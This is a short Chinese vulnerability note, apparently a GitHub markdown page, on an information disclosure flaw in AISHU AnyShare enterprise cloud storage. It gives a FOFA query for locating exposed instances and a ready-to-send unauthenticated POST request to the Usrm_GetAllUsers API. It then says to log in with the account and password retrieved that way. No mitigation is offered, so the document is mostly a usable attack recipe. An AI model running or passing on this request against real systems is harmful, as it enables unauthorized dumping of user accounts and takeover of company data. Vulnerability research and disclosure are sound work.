Skip to content

Latest commit

 

History

History
32 lines (20 loc) · 1.22 KB

爱数企业云盘存在信息泄露漏洞.md

File metadata and controls

32 lines (20 loc) · 1.22 KB

爱数企业云盘存在信息泄露漏洞

一、漏洞简介

爱数企业云盘是一个备受欢迎的企业级云存储解决方案,其主要特点包括1、数据安全性高,2、存储容量大,3、访问便捷。爱数企业云盘通过多重加密和权限控制,保障了企业数据的安全性。其大容量存储可以满足企业大量数据存储需求,并且用户可以通过多种设备便捷访问数据。爱数企业云盘存在任意信息泄露漏洞

二、影响版本

爱数企业云盘

三、资产测绘

  • fofaapp="AISHU-AnyShare"
  • 特征

1730710857097-161efd6a-0577-47d8-a3d6-a82d1634dc19.png

三、漏洞复现

POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
Host: 

[1,100]

1730710998770-27410fe5-6d05-4d12-8c3b-080e4dc815ac.png

使用账号密码登录

1730710969054-6267588d-2c93-466a-a855-f31713dfc801.png

更新: 2024-11-27 10:00:07
原文: https://www.yuque.com/xiaokp7/ocvun2/lw5f2lpcye0l5ez8